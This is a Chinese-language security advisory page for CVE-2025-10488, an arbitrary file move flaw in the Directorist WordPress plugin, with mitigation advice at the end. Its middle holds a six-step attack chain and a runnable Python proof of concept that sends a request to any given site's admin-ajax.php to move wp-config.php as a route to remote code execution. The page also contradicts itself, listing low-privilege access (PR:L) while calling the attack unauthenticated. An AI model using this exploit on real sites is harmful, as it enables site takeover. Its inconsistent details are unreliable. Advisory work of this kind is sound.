IPBUF安全漏洞报告
English
CVE-2025-10488 CVSS 8.1 高危

CVE-2025-10488 WordPress Directorist插件任意文件移动漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-10488
漏洞类型
任意文件移动
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings (WordPress插件)

相关标签

任意文件移动WordPress插件漏洞远程代码执行文件路径遍历DirectoristAJAX注入高危漏洞CVE-2025-10488

漏洞概述

CVE-2025-10488是WordPress平台上一款广受欢迎的商业目录插件Directorist存在的严重安全漏洞。该插件为WordPress网站提供商业目录、分类广告列表等功能,在全球范围内拥有大量用户。漏洞存在于插件的add_listing_action AJAX操作中,由于程序在处理文件路径时缺少充分的验证和过滤,攻击者可以利用此漏洞在服务器上任意移动文件。这一漏洞的CVSS评分为8.1,属于高危级别,意味着其对系统安全构成严重威胁。未经身份验证的攻击者可以利用此漏洞移动服务器上的任意文件,当攻击者成功移动关键配置文件(如wp-config.php)时,可以轻易实现远程代码执行,从而完全控制受影响的WordPress网站。由于该漏洞无需认证即可利用,且攻击复杂度较低,强烈建议使用该插件的用户立即采取修复措施。漏洞已于2025年被披露并收录至NVD国家漏洞数据库。

技术细节

该漏洞的根本原因在于Directorist插件在处理add_listing_action AJAX请求时,对用户提供的文件路径参数缺乏严格的验证机制。攻击者可以通过构造特殊的HTTP请求,指定任意源文件和目标路径,插件会直接执行文件移动操作而不会检查路径的合法性。具体来说,攻击者可以发送包含文件路径参数的AJAX请求,插件代码会直接将这些参数传递给PHP的文件操作函数(如rename()或move_uploaded_file()),而不会进行路径遍历检测或权限验证。由于WordPress插件通常具有较高的文件系统权限,攻击者可以移动wp-config.php等核心配置文件。通过修改wp-config.php,攻击者可以添加恶意代码或修改数据库连接配置,进而在访问网站时执行任意PHP代码。此外,攻击者还可以移动其他敏感文件或webshell文件以维持持久化访问。漏洞代码位于includes/classes/class-add-listing.php文件的第634行附近,开发者未能对文件路径进行安全过滤是导致此漏洞的直接原因。

攻击链分析

STEP 1
步骤1
扫描目标网站,识别是否安装存在漏洞的Directorist插件(版本<=8.4.8)
STEP 2
步骤2
构造恶意AJAX请求,发送至wp-admin/admin-ajax.php,指定action为add_listing_action
STEP 3
步骤3
在请求参数中指定file_path为wp-config.php的完整路径,destination_path为备份路径
STEP 4
步骤4
服务器端插件代码执行rename()操作,将wp-config.php移动到备份位置
STEP 5
步骤5
利用WordPress安装机制或文件上传功能创建新的wp-config.php文件,注入恶意PHP代码
STEP 6
步骤6
访问网站触发恶意代码执行,获得远程命令执行能力,完全控制WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10488 PoC - Directorist Plugin Arbitrary File Move # Target: WordPress site with Directorist plugin <= 8.4.8 def exploit_file_move(target_url, source_file, dest_file): """ Exploit the arbitrary file move vulnerability in Directorist plugin Args: target_url: Base URL of the WordPress site source_file: File path to move (e.g., /path/to/wp-config.php) dest_file: Destination path (e.g., /path/to/wp-config.php.bak) """ # Target the AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'add_listing_action', 'listing_csv': '', 'file_path': source_file, 'destination_path': dest_file } print(f"[*] Target: {target_url}") print(f"[*] Moving file: {source_file} -> {dest_file}") try: # Send the exploit request response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response: {response.text[:500]}") else: print(f"[!] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") def move_wpconfig_for_rce(target_url): """ Move wp-config.php to enable RCE Step 1: Backup original config Step 2: Create malicious config with webshell """ print("\n[*] Exploiting for RCE via wp-config.php manipulation") # Step 1: Move original wp-config.php exploit_file_move( target_url, '/var/www/html/wp-config.php', '/var/www/html/wp-config.php.bak' ) # Step 2: Move a file with webshell to wp-config.php # This would require additional file upload functionality print("\n[*] Next step: Upload webshell and move to wp-config.php") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Basic file move exploit exploit_file_move( target, '/var/www/html/wp-config.php', '/var/www/html/wp-config.php.bak' )

影响范围

Directorist WordPress插件 <= 8.4.8

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 临时禁用Directorist插件或相关AJAX功能;2) 通过.htaccess或Nginx配置限制对admin-ajax.php的非授权访问;3) 设置Web服务器用户对wp-config.php文件只有读取权限,禁止写入和移动操作;4) 启用WordPress的自动更新功能,确保第一时间应用安全更新;5) 考虑使用网站应用防火墙服务(如Cloudflare、Sucuri等)添加额外保护层;6) 实施文件完整性监控,及时发现异常的文件操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表